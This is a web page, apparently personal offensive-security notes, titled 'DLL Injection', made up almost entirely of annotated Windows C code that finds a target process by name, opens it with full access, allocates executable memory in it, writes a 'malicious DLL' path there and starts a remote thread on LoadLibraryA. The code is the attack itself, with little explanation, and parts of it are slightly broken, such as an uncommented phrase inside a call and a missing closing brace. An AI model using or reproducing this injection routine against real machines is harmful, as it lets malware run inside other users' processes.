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<ul>
<li><a href="#dll-injection">DLL Injection</a></li>
</ul>
</div>
<h1 id="dll-injection">DLL Injection</h1>
<div class="codehilite"><pre><span></span><code><span class="n">DWORD</span><span class="w"> </span><span class="nf">getProcessId</span><span class="p">(</span><span class="k">const</span><span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="n">processName</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">hSnapshot</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">CreateToolhelp32Snapshot</span><span class="p">(</span><span class="w"> </span><span class="c1">// Snapshot the specificed process</span>
<span class="w"> </span><span class="n">TH32CS_SNAPPROCESS</span><span class="p">,</span><span class="w"> </span><span class="c1">// Include all processes residing on the system</span>
<span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="c1">// Indicates the current process</span>
<span class="w"> </span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">hSnapshot</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">PROCESSENTRY32</span><span class="w"> </span><span class="n">entry</span><span class="p">;</span><span class="w"> </span><span class="c1">// Adds a pointer to the PROCESSENTRY32 structure</span>
<span class="w"> </span><span class="n">entry</span><span class="p">.</span><span class="n">dwSize</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">PROCESSENTRY32</span><span class="p">);</span><span class="w"> </span><span class="c1">// Obtains the byte size of the structure</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">Process32First</span><span class="p">(</span><span class="w"> </span><span class="c1">// Obtains the first process in the snapshot</span>
<span class="w"> </span><span class="n">hSnapshot</span><span class="p">,</span><span class="w"> </span><span class="c1">// Handle of the snapshot</span>
<span class="w"> </span><span class="o">&amp;</span><span class="n">entry</span><span class="w"> </span><span class="c1">// Pointer to the PROCESSENTRY32 structure</span>
<span class="w"> </span><span class="p">))</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="k">do</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="w"> </span><span class="c1">// Compares two strings to determine if the process name matches</span>
<span class="w"> </span><span class="n">entry</span><span class="p">.</span><span class="n">szExeFile</span><span class="p">,</span><span class="w"> </span><span class="c1">// Executable file name of the current process from PROCESSENTRY32</span>
<span class="w"> </span><span class="n">processName</span><span class="w"> </span><span class="c1">// Supplied process name</span>
<span class="w"> </span><span class="p">))</span><span class="w"> </span><span class="p">{</span><span class="w"> </span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">entry</span><span class="p">.</span><span class="n">th32ProcessID</span><span class="p">;</span><span class="w"> </span><span class="c1">// Process ID of matched process</span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="n">Process32Next</span><span class="p">(</span><span class="w"> </span><span class="c1">// Obtains the next process in the snapshot</span>
<span class="w"> </span><span class="n">hSnapshot</span><span class="p">,</span><span class="w"> </span><span class="c1">// Handle of the snapshot</span>
<span class="w"> </span><span class="o">&amp;</span><span class="n">entry</span><span class="w"></span>
<span class="w"> </span><span class="p">));</span><span class="w"> </span><span class="c1">// Pointer to the PROCESSENTRY32 structure</span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
<span class="n">DWORD</span><span class="w"> </span><span class="n">processId</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">getProcessId</span><span class="p">(</span><span class="n">processName</span><span class="p">);</span><span class="w"> </span><span class="c1">// Stores the enumerated process ID</span>
</code></pre></div>
<ul>
<li>Open Process</li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="n">HANDLE</span><span class="w"> </span><span class="n">hProcess</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">OpenProcess</span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">PROCESS_ALL_ACCESS</span><span class="p">,</span><span class="w"> </span><span class="c1">// Requests all possible access rights</span>
<span class="w"> </span><span class="n">FALSE</span><span class="p">,</span><span class="w"> </span><span class="c1">// Child processes do not inheret parent process handle</span>
<span class="w"> </span><span class="n">processId</span><span class="w"> </span><span class="c1">// Stored process ID</span>
<span class="p">);</span><span class="w"></span>
</code></pre></div>
<ul>
<li>Allocate memory</li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="n">LPVOID</span><span class="w"> </span><span class="n">dllAllocatedMemory</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">VirtualAllocEx</span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">hProcess</span><span class="p">,</span><span class="w"> </span><span class="c1">// Handle for the target process</span>
<span class="w"> </span><span class="nb">NULL</span><span class="p">,</span><span class="w"> </span>
<span class="w"> </span><span class="n">strlen</span><span class="p">(</span><span class="n">dllLibFullPath</span><span class="p">),</span><span class="w"> </span><span class="c1">// Size of the DLL path</span>
<span class="w"> </span><span class="n">MEM_RESERVE</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">MEM_COMMIT</span><span class="p">,</span><span class="w"> </span><span class="c1">// Reserves and commits pages</span>
<span class="w"> </span><span class="n">PAGE_EXECUTE_READWRITE</span><span class="w"> </span><span class="c1">// Enables execution and read/write access to the commited pages</span>
<span class="p">);</span><span class="w"></span>
</code></pre></div>
<ul>
<li>Write to memory</li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="n">WriteProcessMemory</span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">hProcess</span><span class="p">,</span><span class="w"> </span><span class="c1">// Handle for the target process</span>
<span class="w"> </span><span class="n">dllAllocatedMemory</span><span class="p">,</span><span class="w"> </span><span class="c1">// Allocated memory region</span>
<span class="w"> </span><span class="n">dllLibFullPath</span><span class="p">,</span><span class="w"> </span><span class="c1">// Path to the malicious DLL</span>
<span class="w"> </span><span class="n">strlen</span><span class="p">(</span><span class="n">dllLibFullPath</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="c1">// Byte size of the malicious DLL</span>
<span class="w"> </span><span class="nb">NULL</span><span class="w"></span>
<span class="p">);</span><span class="w"></span>
</code></pre></div>
<div class="codehilite"><pre><span></span><code><span class="n">LPVOID</span><span class="w"> </span><span class="n">loadLibrary</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">LPVOID</span><span class="p">)</span><span class="w"> </span><span class="n">GetProcAddress</span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">GetModuleHandle</span><span class="p">(</span><span class="s">&quot;kernel32.dll&quot;</span><span class="p">),</span><span class="w"> </span><span class="c1">// Handle of the module containing the call</span>
<span class="w"> </span><span class="s">&quot;LoadLibraryA&quot;</span><span class="w"> </span><span class="c1">// API call to import</span>
<span class="p">);</span><span class="w"></span>
<span class="n">HANDLE</span><span class="w"> </span><span class="n">remoteThreadHandler</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">CreateRemoteThread</span><span class="p">(</span><span class="w"></span>
<span class="w"> </span><span class="n">hProcess</span><span class="p">,</span><span class="w"> </span><span class="c1">// Handle for the target process</span>
<span class="w"> </span><span class="nb">NULL</span><span class="p">,</span><span class="w"> </span>
<span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="c1">// Default size from the execuatable of the stack</span>
<span class="w"> </span><span class="p">(</span><span class="n">LPTHREAD_START_ROUTINE</span><span class="p">)</span><span class="w"> </span><span class="n">loadLibrary</span><span class="p">,</span><span class="w"> </span><span class="n">pointer</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">starting</span><span class="w"> </span><span class="n">function</span><span class="w"></span>
<span class="w"> </span><span class="n">dllAllocatedMemory</span><span class="p">,</span><span class="w"> </span><span class="c1">// pointer to the allocated memory region</span>
<span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="c1">// Runs immediately after creation</span>
<span class="w"> </span><span class="nb">NULL</span><span class="w"></span>
<span class="p">);</span><span class="w"></span>
</code></pre></div>
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sessionStorage.setItem(obj.id,"open");
console.log(obj.id);
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} else {
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//console.log('closed');
sessionStorage.removeItem(obj.id);
}
}
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let _keys = Object.keys(sessionStorage);
if (_keys) {
for ( let i = 0; i < _keys.length; i++ ) {
document.getElementById(_keys[i])['open'] = 'open';
}
}
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</script>
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<script async src="https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.1/MathJax.js?config=TeX-AMS-MML_HTMLorMML" type="text/javascript"></script>
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<script type="text/x-mathjax-config">
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MathJax.Hub.Config({
config: ["MMLorHTML.js"],
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extensions: ["MathMenu.js", "MathZoom.js"]
});
</script>
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</body>
</html>